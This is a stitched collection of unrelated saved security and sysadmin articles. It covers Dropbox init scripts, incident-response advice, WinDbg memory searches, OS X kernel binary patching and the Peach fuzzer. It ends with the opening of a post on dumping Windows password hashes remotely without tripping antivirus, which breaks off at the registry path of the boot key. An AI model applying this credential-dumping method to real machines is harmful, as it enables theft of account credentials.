    # Distributed under the terms of the GNU General Public License v2
    # $Header: $
    
    DROPBOX_USERS="user1 user2"
    NICENESS=5
    
    opts="${opts} status"
    
    depend() {
        need net
    }
    
    start() {
        ebegin "Starting dropbox..."
        for dbuser in $DROPBOX_USERS; do
            start-stop-daemon -b -o -N $NICENESS -c $dbuser -S -v -e HOME="/home/$dbuser" -x /home/$dbuser/.dropbox-dist/dropboxd
        done
        eend $?
    }
    
    stop() {
        ebegin "Stopping dropbox..."
        for dbuser in $DROPBOX_USERS; do
            start-stop-daemon -o -c $dbuser -K -x /home/$dbuser/.dropbox-dist/dropbox
        done
        eend $?
    }
    
    status() {
        for dbuser in $DROPBOX_USERS; do
            dbpid=`pgrep -u $dbuser dropbox`
            if [ -z $dbpid ] ; then
                echo "dropbox for USER $dbuser: not running."
            else
                echo "dropbox for USER $dbuser: running."
            fi
        done
    }
    
[/code]

for Gentoo ~x86/~amd64 using openrc and baselayout-2:

[code]

    # Copyright 1999-2004 Gentoo Foundation
    # Distributed under the terms of the GNU General Public License, v2 or later
    # $Header: /var/cvsroot/gentoo-x86/sys-fs/dropbox/files/dropbox.init-1.0,v 1.4 2007/04/04 13:35:25 cardoe Exp $
    
    DROPBOX_USERS="will"
    NICENESS=5
    
    depend() {
            need localmount net
            after bootmisc
    }
    
    start() {
            ebegin "Starting dropbox..."
            for dbuser in $DROPBOX_USERS; do
              start-stop-daemon -S -b -m --pidfile /var/run/dropbox-$dbuser.pid -o -N $NICENESS -c $dbuser -v -e HOME="/home/$dbuser" -x /home/$dbuser/.dropbox-dist/dropboxd
            done
            eend $?
    }
    
    stop() {
            ebegin "Stopping dropbox..."
            for dbuser in $DROPBOX_USERS; do
            start-stop-daemon --stop --pidfile /var/run/dropbox-$dbuser.pid
            done
            eend $?
    }
    
    status() {
        for dbuser in $DROPBOX_USERS; do
            if [ -e /var/run/dropbox-$dbuser.pid ] ; then
                echo "dropboxd for USER $dbuser: running."
            else
                echo "dropboxd for USER $dbuser: not running."
            fi
        done
        eend $?
    }
    
[/code]

Change DROPBOX\_USERS to include all users that want to run dropboxd
\(separated by spaces\), and save the file to /etc/init.d/dropbox.

For Gentoo run:

[code]

    rc-update add dropbox default
    
[/code]

To start the service, run

[code]

    $ /etc/init.d/dropbox start
    
[/code]

To stop it, run

[code]

    $ /etc/init.d/dropbox stop
    
[/code]

To restart it, run

[code]

    $ /etc/init.d/dropbox restart
    
[/code]

You can also check running status in the Ubuntu/Debian and Gentoo versions
with:

[code]

    $ /etc/init.d/dropbox status
    
[/code]

## daemontools

You can also use the excellent daemontools package by Dan J. Bernstein
\(author of qmail\) to keep Dropbox running at all times.

Install daemontools - click here for instructions. If you are installing on
Linux, you will need the errno patch.

Now, you will need to decide where to store your Dropbox. We will refer to
this as $DBOXHOME. I picked a folder inside my Samba server's public
directory, but this decision will depend on your intended usage.

Now:

1\. Become root

[code]

    $ su
    
[/code]

2\. Create the sandbox user, dropbox.

[code]

    # useradd -d $DBOXHOME -g daemon -m -p none -s /bin/false dropbox
    
[/code]

3\. Change directories to the new user's home

[code]

    # cd ~dropbox
    
[/code]

4\. Download the Dropbox daemon and extract it

[code]

    # wget -O - http://www.getdropbox.com/download?plat=lnx.x86 | tar xzf -
    
[/code]

5\. Move the Dropbox files to a better location for a proper system-wide app
\(but keep it symlinked for compatibility\)

[code]

    # mv .dropbox-dist /opt/dropbox
    # ln -s /opt/dropbox .dropbox-dist
    
[/code]

6\. Create a daemontools service directory

[code]

    # mkdir -p svc/log
    # cd svc
    
[/code]

6\. Create run scripts for dropboxd and the logger, multilog

[code]

    # cat > run << EOF
    #!/bin/sh
    HOME=~dropbox exec setuidgid dropbox /opt/dropbox/dropboxd
    EOF
    
    # cat > log/run << EOF
    #!/bin/sh
    exec multilog t ./main
    EOF
    
    # chmod +x {,log/}run
    
[/code]

7\. Download dbmakefakelib.py and run it.

[code]

    # wget http://dl.getdropbox.com/u/6995/dbmakefakelib.py
    # HOME=~dropbox setuidgid dropbox python dbmakefakelib.py
    dropboxd ran for 15 seconds without quitting - success?
    
[/code]

8\. Fix ownership

[code]

    chown -R dropbox:daemon .
    
[/code]

9\. Get your activation URL. You will need to visit this from any browser to
link your Dropbox to this host. Log in, and the rest will take care of itself.

[code]

    # HOST_ID=`echo '.dump config' | sqlite3 .dropbox/dropbox.db | grep host_id | cut -d \' -f 4 | python -c 'print raw_input().decode("base64")' | grep '^V' | cut -b 2-`
    
    # echo https://www.getdropbox.com/cli_link?host_id=$HOST_ID
    https://www.getdropbox.com/cli_link?host_id=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
[/code]

10\. Make sure there's only one copy of dropboxd running and it's being
supervised by daemontools/svscan.

[code]

    # killall dropbox dropboxd
    # cd /service
    # ln -s ~dropbox/svc dropbox
    # svstat /service/dropbox/
    /service/dropbox/: up (pid 19378) 56 seconds
    
[/code]

That's all...

# Security Ripcord » Blog Archive » Incident Response Preparation using System
Walk-throughs

**Created:**| _1/22/2012 7:21:39 PM_  
---|---  
**Updated:**| _1/22/2012 7:21:39 PM_  
**Author:**| __  
**Tags:**| __  
  

## Incident Response Preparation using System Walk-throughs

January 21st, 2012 cutaway  Posted in Helpful, Incident Response, Leadership, Management, Security | No Comments » 197 views
When I started working for IBM’s Emergency Response Team I was a little
intimidated about walking into a client’s environment and quickly providing
incident response leadership. Luckily I was trained by Chris Pogue and Harlan
Carvey to consider three things when I got on-site:

  * What are you trying to answer?
  * What data do you need to answer it?
  * How do you get that data?

Obviously the first question is the hardest to answer \(although, perhaps, not
the most challenging\). I often find myself having Car Talk-style
conversations where you talk about the situation for an hour or two and then
somebody says something to the effect of: “Oh, yeah. And we have this service
running over here.”

It always amazes me how similar many of the security issues are across
companies with decent security programs and teams. The security teams work
hard to identify situations before they happen but incidents still occur and
the teams struggle with pulling all of the information together. Disciplined
incident response comes with experience. Not just experience within the
security team, but experience throughout the organization. Most companies have
information technology \(IT\) divisions with silo-ed experience \(I am not
saying it is bad, just natural\). The web application developers and
administrators know the web applications and web logs. Database administrators
know the database logs, how verbose they are, how to retrieve them, and what
can be turned on and off. Network administrators know what is logging where,
what has been disabled, what can be turned up. Etc, Etc. Of course there is
some overlap, but this example demonstrates that a lot of internal interaction
may be required to initiate an incident response.

This silo-ing can complicate things but it is often manageable. The situations
that prove to be more challenging are those that involve external services and
equipment. Security teams are not usually consulted when service level
agreements with external entities are formulated. Any third-party organization
worth their salt will be prepared to provide information and action during
critical times. But experience is the only way to determine the proper
channels and methods of request to initiate the actions necessary to
facilitate an efficient incident response. Acquiring data, removing services,
increasing logging, and physically accessing a facility are just a few of the
things that could increase the gap between incident identification and
response.

Another thing that comes into play during an active incident response is the
review of unique data types. I have assisted in several instances where an
incident involved a web application running on an Apache server. The Apache
web logs did not include any POST information which may have provided
artifacts relating to the incident. As these web logs were the primary method
for detecting anomalies the security team quickly realized that with the
default configuration they may have been missing a few things. Digging a
little deeper by including web application administrators and developers
additional logs were identified. In a recent case the development team used
Apache log4j to produce excellent activity information for debugging. As it
did not introduce a performance hit to the server the developers just left the
debugging code alone. The end result was a detailed log of the web server
activity. The only real hick-up was that each entry was undocumented and
multi-lined making it difficult to review by common automated processes. But,
in the end, very helpful.

So, again, we come back around to the same incident response-related
conclusion: Preparation is KEY. Understanding how things interact and who is
involved is critical to reducing the time involved during each step of an
incident response. But where to start with preparation? The results of an
actual incident or a penetration test provide excellent examples and
supporting data. Incident response scenarios are also very helpful but can be
difficult to design and get everybody involved. To be honest, I have been a
big advocate of “incident response scenarios” and I have told many people to
develop them. But, looking back, I realize how hard it is for an organization
to do this. Heck, it was hard for me when I was specifically thinking about
and devoting time to developing a good incident response scenario. Therefore I
am going to change my future recommendations from developing incident response
scenarios to performing system walk-throughs.

I made this decision when I found myself leaning back in a chair, looking at a
white-boarded diagram of a system \(by this I mean a group of resources
combined for a specific purpose\), and trying to determine what we needed to
understand what might have happened during an incident. It was excellent
because I also found myself and the security team asking questions to which we
did not have immediate answers. I also found myself thinking about how I would
have accomplished a specific set of actions relating to the incident. Coming
up with these possibilities lead me to asking additional questions and
identifying other resources-of-concern and data that could be used to identify
useful network and system artifacts.

Therefore, my recommendation is that security teams periodically perform a
system walk-through for various IT implementations in their organization. See
how systems walk-throughs work and let us know your experiences. Pick one
thing at a time when you start and see where it takes you. Focus on the things
that will provide you information about a specific activity. Brain-storm
situations and talk about the system and network-based artifacts that would be
helpful. Folllow up on these ideas and pull in personnel to provide additional
information when necessary. This will increase their experience and begin the
collaboration process that may prove vitally important in future incidents. I
also believe that these interactions will help identify risks, weaknesses, and
vulnerabilities that can be easily addressed and increase the overall security
of the organization.

Go forth and do good things,

Don C. Weber

# Retrieving Windows Services via WinDbg | MoonSols
**Created:**| _10/22/2013 10:35:36 AM_  
---|---  
**Updated:**| _10/22/2013 10:35:36 AM_  
**Author:**| __  
**Tags:**| _Debugging windbg_  
  

# **R** etrieving Windows Services via WinDbg****

From Windows 2000 to Windows 7 and Windows 2008 R2, Windows Service
Controler/Manager is “**services.exe** ” – in other words “ _services records_
” are inside this process address space**.**

The interesting thing with service records is that they have a tag signature
at the beginning**.** Here are the 3 different tag signatures:

  * “sErv” is the tag signature for NT 5**.** x service control records**.**
  * “serH” is the tag signature for NT 6**.** x service control records**.**
  * “scrH” is the tag signature for the service control manager**.**

Based on these tag signatures, we can easily retrieve these structures from a
memory dump or from a live debugging session from Microsoft WinDbg, Microsoft
LiveKd or MoonSols LiveCloudKd**.**

The following WinDbg command can be used to retrieve each tag records from
memory :

\[box type="info"\]**s -\[1\]a 0 L10000000 “serH”**

**s -\[1\]a 0 L10000000 “sErv”**

**s -\[1\]a 0 L10000000 “scrH”**  
\[/box\]

As pointed out by Scott Noone  and Nephi Johnson , the command “**s** ”
\(_Search Memory\)_ can also be used with the **.foreach** WinDbg command if
you use it with the **-\[1\]** argument**.**

For instance, if you want to look for every MZ signature in the current
address space or to look for a particular string pattern in every address
space you can use one of these two commands :

\[box type="info"\]**.foreach \(addr \{s -\[1\]b 0 L10000000 4d 5a 90 00\} \)
\{ dt nt**\!** \_IMAGE\_DOS\_HEADER addr \}**

****\!** for\_each\_process “.process /p @\#Process;dt nt**\!** \_EPROCESS
@\#Process ImageFileName;s -a 10000 L10000000 \”http://\”"**

\[/box\]

Services records contains a SERVICE\_STATUS  entry, which provide information
regarding the service type and the service status – they also contain UNICODE
string pointer to the service description and to the service name and of
course the ProcessId**.**  
From Windows 2000 to Windows 7 and Windows 2008 R2, Windows Service
Controler/Manager is “**services.exe** ” – in other words “ _services records_
” are inside this process address space**.**

The interesting thing with service records is that they have a tag signature
at the beginning**.** Here are the 3 different tag signatures:

  * “sErv” is the tag signature for NT 5**.** x service control records.
  * “serH” is the tag signature for NT 6**.** x service control records.
  * “scrH” is the tag signature for the service control manager**.**

Based on these tag signatures, we can easily retrieve these structures from a
memory dump or from a live debugging session from Microsoft WinDbg, Microsoft
LiveKd or MoonSols LiveCloudKd**.**

The following WinDbg command can be used to retrieve each tag records from
memory :

\[box type="info"\]

[code]

    **typedef struct _SERVICE_STATUS {
    DWORD dwServiceType;
    DWORD dwCurrentState;
    DWORD dwControlsAccepted;
    DWORD dwWin32ExitCode;
    DWORD dwServiceSpecificExitCode;
    DWORD dwCheckPoint;
    DWORD dwWaitHint;
    } SERVICE_STATUS, *LPSERVICE_STATUS;**
[/code]

\[/box\]  
The line below is an example of output from the WinDbg script provided in this
article, as you can see it contains a lot of relevant information**.**  
**$ osppsvc | Office Software Protection Platform | \[SERVICE\_RUNNING\] \[SERVICE\_WIN32\_OWN\_PROCESS\] | “C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE” \(PID=0x19b4\)**  
Download Services WinDbg Script

If you want more, check out the dates of the next MoonSols trainings  or
request a private training <img src='img/Temp2_6835' alt=':)' />

****

# research\!rsc: Hacking the OS X Kernel for Fun and Profiles

**Created:**| _8/14/2013 1:01:26 PM_  
---|---  
**Updated:**| _8/14/2013 1:01:26 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking kernel xnu_  
  

# **H** acking the OS X Kernel for Fun and Profiles

Posted on Tuesday, August 13, 2013**.**

My last post described how user-level CPU profilers work, and specifically how
Google’s pprof profiler gathers its CPU profiles with the help of the
operating system**.** The specific feature needed from the operating system is
the profiling timer provided by _setitimer_\(2\) and the `SIGPROF` signals
that it delivers**.**

If the operating system’s implementation of that feature doesn’t work, then
the profiler doesn’t work**.** This post looks at a common bug in Unix
implementations of profiling signals and the fix for OS X, applied by editing
the OS X kernel binary**.**

If you haven’t read “How to Build a User-Level CPU Profiler ,’’ you might want
to start there**.**

### Unix and Signals and Threads****

My earlier post referred to profiling _programs_ , without mention of
processes or threads**.** Unix in general and SIGPROF in particular predate
the idea of threads**.** SIGPROF originated in the 4.2BSD release of Berkeley
Unix, published in 1983**.** In Unix at the time, a process was a single
thread of execution**.**

Threads did not come easily to Unix**.** Early implementations were slow and
buggy and best avoided**.** Each of the popular Unix variants added thread
support independently, with many shared mistakes**.**

Even before we get to implementation, many of the original Unix APIs are
incompatible with the idea of threads**.** Multithreaded processes allow
multiple threads of execution in a single process address space**.** Unix
maintains much per-process state, and the kernel authors must decide whether
each piece of state should remain per-process or change to be per-thread**.**

For example, the single process stack must be split into per-thread stacks: it
is impossible for independently executing threads to be running on a single
stack**.** Because there are many threads, thread stacks tend to be smaller
than the one big process stack that non-threaded Unix programs had**.** As a
result, it can be important to define a separate stack for running signal
handlers**.** That setting is per-thread, for the same reason that ordinary
stacks are per-thread**.** But the choice of handler is per-process.

File descriptors are per-process, but then one thread might open a file
moments before another thread forks and execs a new program**.** In order for
the open file not to be inherited by the new program, we must introduce a new
variant of _open_\(2\) that can open a file descriptor atomically marked
“close on exec**.** ’’ And not just open: every system call that creates a new
file descriptor needs a variant that creates the file descriptor “close on
exec**.** ’’

Memory is per-process, so malloc must use a lock to serialize access by
independent threads**.** But again, one thread might acquire the malloc lock
moments before another thread forks and execs a new program**.** The fork
makes a new copy of the current process memory, including the locked malloc
lock, and that copy will never see the unlock by the thread in the original
program**.** So the child of fork can no longer use malloc without occasional
deadlocks**.**

That’s just the tip of the iceberg**.** There are a lot of changes to make,
and it’s easy to miss one**.**

### Profiling Signals****

Here’s a thread-related change that is easy to miss**.**

The goal of the profiling signal is to enable user-level profiling**.** The
signal is sent in response to a program using up a certain amount of CPU
time**.** More specifically, in a multithreaded kernel, the profiling signal
is sent when the hardware timer interrupts a thread and the timer interrupt
handler finds that the execution of that thread has caused the thread’s
process’s profiling timer to expire**.** In order to profile the code whose
execution triggered the timer, the profiling signal must be sent to the thread
that is running**.** If the signal is sent to a thread that is not running,
the profile will record idleness such as being blocked on I/O or sleeping as
execution and will be neither accurate nor useful**.**

Modern Unix kernels support sending a signal to a process, in which case it
can be delivered to an arbitrary thread, or to a specific thread**.**
_Kill_\(2\) sends a signal to a process, and _pthread\_kill_\(2\) sends a
signal to a specific thread within a process**.**

Before Unix had threads, the code that delivered a profiling signal looked
like `psignal(p,` `SIGPROF)`, where `psignal` is a clearer name for the
implementation of the _kill_\(2\) system call and `p` is the process with the
timer that just expired**.** If there is just one thread per process,
delivering the signal to the process cannot possibly deliver it to the wrong
thread**.**

In multithreaded programs, the `SIGPROF` must be delivered to the running
thread: the kernel must call the internal equivalent of _pthread\_kill_\(2\),
not _kill_\(2\)**.**

FreeBSD and Linux deliver profiling signals correctly**.** Empirically,
NetBSD, OpenBSD, and OS X do not. \(Here is a simple C test program .\)
Without correct delivery of profiling signals, it is impossible to build a
correct profiler**.**

### OS X Signal Delivery****

To Apple’s credit, the OS X kernel sources are published and open source, so
we can look more closely at the buggy OS X implementation**.**

The profiling signals are delivered by the function `bsd_ast` in the file
kern\_sig**.** c . Here is the relevant bit of code:

[code]

    void
    bsd_ast(thread_t thread)
    {
        proc_t p = current_proc();
        ..**.**
        if (timerisset(&p->p_vtimer_prof.it_value)) {
            uint32_t    microsecs;
    
            task_vtimer_update(p->task, TASK_VTIMER_PROF, µsecs);
    
            if (**!** itimerdecr(p, &p->p_vtimer_prof, microsecs)) {
                if (timerisset(&p->p_vtimer_prof**.** it_value))
                    task_vtimer_set(p->task, TASK_VTIMER_PROF);
                else
                    task_vtimer_clear(p->task, TASK_VTIMER_PROF);
    
                **psignal(p, SIGPROF);**
            }
        }
        ..**.**
    }
    
[/code]

The `bsd_ast` function is the BSD half of the OS X timer interrupt
handler**.** If profiling is enabled, `bsd_ast` decrements the timer and sends
the signal if the timer expires**.** The innermost if statement is resetting
the the timer state, because _setitimer_\(2\) allows both one-shot and
periodic timers**.**

As predicted, the code is sending the profiling signal to the process, not to
the current thread**.** There is a function `psignal_uthread` defined in the
same source file that sends a signal instead to a specific thread**.** One
possible fix is very simple: change `psignal` to `psignal_uthread`**.**

I filed a report about this bug as Apple Bug Report \#9177434  in March 2011,
but the bug has persisted in subsequent releases of OS X. In my report, I
suggested a different fix, inside the implementation of `psignal`, but
changing `psignal` to `psignal_uthread` is even simpler**.** Let’s do
that**.**

### Patching the Kernel****

It should be possible to rebuild the OS X kernel from the released
sources**.** However, I do not know whether the sources are complete, and I do
not know what configuration I need to use to recreate the kernel on my
machine**.** I have no confidence that I’d end up with a kernel appropriate
for my computer**.** Since the fix is so simple, it should be possible to just
modify the standard OS X kernel binary directly**.** That binary lives in
`/mach_kernel` on OS X computers**.**

If we run `gdb` on `/mach_kernel` we can see the compiled machine code for
`bsd_ast` and find the section we care about**.**

[code]

    $ gdb /mach_kernel
    (gdb) disas bsd_ast
    Dump of assembler code for function bsd_ast:
    0xffffff8000568a50 <bsd_ast+0>: push   %rbp
    0xffffff8000568a51 <bsd_ast+1>: mov    %rsp,%rbp
    ..**.**
    _if (timerisset( &p->p_vtimer_prof**.** it_value))_
    0xffffff8000568b7b <bsd_ast+299>:       cmpq   $0x0,0x1e0(%r15)
    0xffffff8000568b83 <bsd_ast+307>:       jne    0xffffff8000568b8f <bsd_ast+319>
    0xffffff8000568b85 <bsd_ast+309>:       cmpl   $0x0,0x1e8(%r15)
    0xffffff8000568b8d <bsd_ast+317>:       je     0xffffff8000568b9f <bsd_ast+335>
    _task_vtimer_set(p- >task, TASK_VTIMER_PROF);_
    0xffffff8000568b8f <bsd_ast+319>:       mov    0x18(%r15),%rdi
    0xffffff8000568b93 <bsd_ast+323>:       mov    $0x2,%esi
    0xffffff8000568b98 <bsd_ast+328>:       callq  0xffffff80002374f0 <task_vtimer_set>
    0xffffff8000568b9d <bsd_ast+333>:       jmp    0xffffff8000568bad <bsd_ast+349>
    _task_vtimer_clear(p- >task, TASK_VTIMER_PROF);_
    0xffffff8000568b9f <bsd_ast+335>:       mov    0x18(%r15),%rdi
    0xffffff8000568ba3 <bsd_ast+339>:       mov    $0x2,%esi
    0xffffff8000568ba8 <bsd_ast+344>:       callq  0xffffff8000237660 <task_vtimer_clear>
    _psignal(p, SIGPROF);_
    0xffffff8000568bad <bsd_ast+349>:       mov    %r15,%rdi
    0xffffff8000568bb0 <bsd_ast+352>:       xor    %esi,%esi
    0xffffff8000568bb2 <bsd_ast+354>:       xor    %edx,%edx
    0xffffff8000568bb4 <bsd_ast+356>:       xor    %ecx,%ecx
    0xffffff8000568bb6 <bsd_ast+358>:       mov    $0x1b,%r8d
    0xffffff8000568bbc <bsd_ast+364>:       callq  0xffffff8000567340 <threadsignal+224>
    ..**.**
    
[/code]

I’ve annotated the assembly with the corresponding C code in italics**.** The
final sequence is odd. It should be a call to `psignal` but instead it is a
call to code 224 bytes beyond the start of the `threadsignal` function**.**
What’s going on is that `psignal` is a thin wrapper around `psignal_internal`,
and that wrapper has been inlined**.** Since `psignal_internal` is a static
function, it does not appear in the kernel symbol table, and so `gdb` doesn’t
know its name**.**

The definitions of `psignal` and `psignal_uthread` are:

[code]

    void
    psignal(proc_t p, int signum)
    {
        psignal_internal(p, NULL, NULL, 0, signum);
    }
    
    static void
    psignal_uthread(thread_t thread, int signum)
    {
        psignal_internal(PROC_NULL, TASK_NULL, thread, PSIG_THREAD, signum);
    }
    
[/code]

With the constants expanded, the call we’re seeing is `psignal_internal(p,`
`0,` `0,` `0,` `0x1b)` and the call we want to turn it into is
`psignal_internal(0,` `0,` `thread,` `4,` `0x1b)`**.** All we need to do is
prepare the different argument list**.**

Unfortunately, the `thread` variable was passed to `bsd_ast` in a register,
and since it is no longer needed where we are in the function, the register
has been reused for other purposes: `thread` is gone**.**

Fortunately, `bsd_ast`’s one and only invocation in the kernel is
`bsd_ast(current_thread())`, so we can reconstruct the value by calling
`current_thread` ourselves**.**

Unfortunately, there is no room in the 15 bytes from `bsd_ast+349` to
`bsd_ast+364` to insert such a call and still prepare the other arguments**.**

Fortunately, we can optimize a bit of the preceding code to make room**.**
Notice that the calls to `task_vtimer_set` and `task_vtimer_clear` are passing
the same argument list, and that argument list is prepared in both sides of
the conditional:

[code]

    ..**.**
    _if (timerisset( &p->p_vtimer_prof.it_value))_
    0xffffff8000568b7b <bsd_ast+299>:       cmpq   $0x0,0x1e0(%r15)
    0xffffff8000568b83 <bsd_ast+307>:       jne    0xffffff8000568b8f <bsd_ast+319>
    0xffffff8000568b85 <bsd_ast+309>:       cmpl   $0x0,0x1e8(%r15)
    0xffffff8000568b8d <bsd_ast+317>:       je     0xffffff8000568b9f <bsd_ast+335>
    _task_vtimer_set(p- >task, TASK_VTIMER_PROF);_
    0xffffff8000568b8f <bsd_ast+319>:       **mov    0x18(%r15),%rdi**
    0xffffff8000568b93 <bsd_ast+323>:       **mov    $0x2,%esi**
    0xffffff8000568b98 <bsd_ast+328>:       callq  0xffffff80002374f0 <task_vtimer_set>
    0xffffff8000568b9d <bsd_ast+333>:       jmp    0xffffff8000568bad <bsd_ast+349>
    _task_vtimer_clear(p- >task, TASK_VTIMER_PROF);_
    0xffffff8000568b9f <bsd_ast+335>:       **mov    0x18(%r15),%rdi**
    0xffffff8000568ba3 <bsd_ast+339>:       **mov    $0x2,%esi**
    0xffffff8000568ba8 <bsd_ast+344>:       callq  0xffffff8000237660 <task_vtimer_clear>
    _psignal(p, SIGPROF);_
    0xffffff8000568bad <bsd_ast+349>:       mov    %r15,%rdi
    0xffffff8000568bb0 <bsd_ast+352>:       xor    %esi,%esi
    0xffffff8000568bb2 <bsd_ast+354>:       xor    %edx,%edx
    0xffffff8000568bb4 <bsd_ast+356>:       xor    %ecx,%ecx
    0xffffff8000568bb6 <bsd_ast+358>:       mov    $0x1b,%r8d
    0xffffff8000568bbc <bsd_ast+364>:       callq  0xffffff8000567340 <threadsignal+224>
    ..**.**
    
[/code]

We can pull that call setup above the conditional, eliminating one copy and
giving ourselves nine bytes to use for delivering the signal**.** A call to
`current_thread` would take five bytes, and then moving the result into an
appropriate register would take two more, so nine is plenty**.** In fact,
since we have nine bytes, we can inline the body of `current_thread`—a single
nine-byte `mov` instruction—and change it to store the result to the correct
register directly**.** That avoids needing to prepare a position-dependent
call instruction**.**

The final version is:

[code]

    ..**.**
    0xffffff8000568b7b <bsd_ast+299>:       **mov    0x18(%r15),%rdi**
    0xffffff8000568b7f <bsd_ast+303>:       **mov    $0x2,%esi**
    0xffffff8000568b84 <bsd_ast+308>:       cmpq   $0x0,0x1e0(%r15)
    0xffffff8000568b8c <bsd_ast+316>:       jne    0xffffff8000568b98 <bsd_ast+328>
    0xffffff8000568b8e <bsd_ast+318>:       cmpl   $0x0,0x1e8(%r15)
    0xffffff8000568b96 <bsd_ast+326>:       je     0xffffff8000568b9f <bsd_ast+335>
    0xffffff8000568b98 <bsd_ast+328>:       callq  0xffffff80002374f0 <task_vtimer_set>
    0xffffff8000568b9d <bsd_ast+333>:       jmp    0xffffff8000568ba4 <bsd_ast+340>
    0xffffff8000568b9f <bsd_ast+335>:       callq  0xffffff8000237660 <task_vtimer_clear>
    0xffffff8000568ba4 <bsd_ast+340>:       **xor    %edi,%edi**
    0xffffff8000568ba6 <bsd_ast+342>:       xor    %esi,%esi
    0xffffff8000568ba8 <bsd_ast+344>:       **mov    %gs:0x8,%rdx**
    0xffffff8000568bb1 <bsd_ast+353>:       **mov    $0x4,%ecx**
    0xffffff8000568bb6 <bsd_ast+358>:       mov    $0x1b,%r8d
    0xffffff8000568bbc <bsd_ast+364>:       callq  0xffffff8000567340 <threadsignal+224>
    ..**.**
    
[/code]

If we hadn’t found the duplicate call setup to factor out, another possible
approach would have been to factor the two very similar code blocks handling
`SIGVTALRM` and `SIGPROF` into a single subroutine, sitting in the middle of
the `bsd_ast` function code, and to call it twice**.** Removing the second
copy of the code would leave plenty of space for the longer `psignal_uthread`
call setup**.**

The code we’ve been using is from OS X Mountain Lion, but all versions of OS X
have this bug, and the relevant bits of `bsd_ast` haven’t changed from version
to version, although the compiler and therefore the generated code do
change**.** Even so, all have the basic pattern and all can be fixed with the
same kind of rewrite**.**

### Using the Patch****

If you use the Go or the C++ gperftools and want accurate CPU profiles on OS
X, I’ve packaged up the binary patcher as
code.google.com/p/rsc/cmd/pprof\_mac\_fix **.** It can handle OS X Snow
Leopard, Lion, and Mountain Lion**.** Will OS X Mavericks need a fix too?
We’ll see.

### Further Reading****

Binary patching is an old, venerable technique**.** This is just a simple
instance of it. If you liked reading about this, you may also like to read
Jeff Arnold’s paper “Ksplice: Automatic Rebootless Kernel Updates **.** ’’
Ksplice can construct binary patches for Linux security vulnerabilities and
apply them on the fly to a running system**.**

****

# Peach Fuzzer in action

**Created:**| _7/22/2009 1:30:53 PM_  
---|---  
**Updated:**| _9/18/2009 10:34:45 AM_  
**Author:**| __  
**Tags:**| _Exploit Fuzzer_  
  

# Perform both generation and mutation based fuzzing with peachfuzz

by BLACK on JULY 20, 2009

in FUZZING, SECURITY TOOLS, WINDOWS

Peachfuzz is smart fuzzer that have additional information about the data and
state of fuzzing.

<img src='img/Temp2_6175.jpg' alt='img/Temp2_6175.jpg Perform both generation
and mutation based fuzzing with peachfuzz' />

**What is Generation base fuzzing**

Are capable of building the data being sent based on a data model provided by
the fuzzercreator. Sometimes this is simple and dumb as sending random bytes,
or much smarter by knowing good values and combining them in interesting ways.

**What is Mutation base fuzzing**

A known good “template” which is then modified. That is not present in the
“template” or “seed” will be produced. For example, if a file format specified
18 types of chunks or optional data segments and the “template”/”seed” only
used four of them, a mutational based fuzzerwould never generate the other
chunks not present only modify the chunks it is presented with.

Peach is a cross-platform fuzzing framework written in Python. Peach can fuzz
just about anything from COM/ActiveX, SQL, shared libraries/DLL’s, network
applications, web applications.

You can also name it as all in fuzzer . But not an alternative for your
regular fuzzer. you donot want to change or replace it with your regular
fuzzer. you can use it as and additional fuzzer to start from to gather that
extra infomation apart from your application.

**Features for you.**

  * Data Analyzers feature added
  * Mutation Strategies feature added
  * XmlElement, XmlAttribute data elements added
  * Asn1Type data element added
  * NumericalString hint added
  * Binary analyzer added
  * StringToken analyzer added
  * XML analyzer added
  * ASN.1 analyzer added
  * Random Mutation Strategy added
  * Real Unicode support added to Strings
  * Unicode mutators added
  * Complex native structure support for shared library/com fuzzing
    * Pointer support \(to any depth\)
  * Data elements can now populate arrays
  * Data elements can now select from Choice statements
  * Constraint python expressions can be specified for data elements
  * Improved support for file fuzzing

**Download peachfuzz** Here

### Related Posts

  * July 10, 2009 -- Fuzzware – Web Services and ActiveX controls
  * June 29, 2009 -- IOCTL Fuzzer – searching vulnerabilities in Windows
  * July 22, 2009 -- Forensic tool – Belkasoft Forensic Studio
  * July 17, 2009 -- TweetMyPC – Remote Control your Windows PC
  * July 16, 2009 -- Coupon code – Free Norman Security Suite v7 1 Year License
  * July 15, 2009 -- SolFileCypher – hide or test your file from antivirus
  * July 8, 2009 -- N-Stalker – web application scanner
  * July 8, 2009 -- a-squared Anti-Malware – free one year coupon
  * July 6, 2009 -- MSF eXploit Builder – GUI to build Metasploit Framework

  

  *[JULY 20, 2009]: 2009-07-20

# Remote hash dumping: no processes or tool upload needed | DiabloHorn
**Created:**| _11/6/2013 9:52:08 AM_  
---|---  
**Updated:**| _11/6/2013 9:52:08 AM_  
**Author:**| __  
**Tags:**| _hashes hash_  
  

# **R** emote hash dumping: no processes or tool upload needed****

So after my last article, in which I describe an alternative way to execute
code on a remote machine  if you have the local administrator’s password, I
kept wondering what else could be done with the remote registry**?** The first
thing I immediately thought of was dumping the windows hashes**.** The reason
I thought of this was because it would have several advantages:

  * You would not need to bypass anti virus
  * You would not need to worry about uploading executable files
  * You would not need to worry about spawning new processes on the remote machine
  * You would only need one open port

Since I dislike reinventing the wheel \(unless it’s for educational purposes\)
I started to first search around and see what current methods are
available**.** As far as I can tell they all boil down to the following:

  * Use psexec  to dump hashes by 
    * Spawning a new process and running reg.exe
    * Uploading your own executable and running it
  * Use WMI to spawn a new process and run reg.exe
  * Use Windows tools 
    * regedit.exe / reg.exe
    * Third party \(WinScanX\)

If you are not interested in my first failed attempt, the learned things you
can skip directly to the script  on GitHub as usual**.** Keep reading if you
want to know the details. In case you are wondering: Yes I used impacket, it
rocks**.**

**Windows hash encryption  
**First things first how the hell does the dumping of Windows hashes actually
work**?** Here is my attempt at explaining it in a nutshell, a reference to a
full description can be found at the end of this post**.**

Back in the days Microsoft decided that hashing the passwords wasn’t enough so
they implemented an additional encryption layer to protect the hashes**.**
They chose to encrypt the hashes with RC4 which creates a new problem of
course**.** Where do you get the key for the encryption? They thought of three
options:

  * Randomly generate the key and store it in the registry \(default\)
  * Randomly generate the key, store it in the registry and protect it with an additional password
  * Randomly generate the key and store it on a floppy disk

The method most widely used nowadays \(like you probably guessed\) is the
first one**.** The initial bootkey is stored obfuscated in the registry at the
following locations:

>
[code]

>     HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\JD
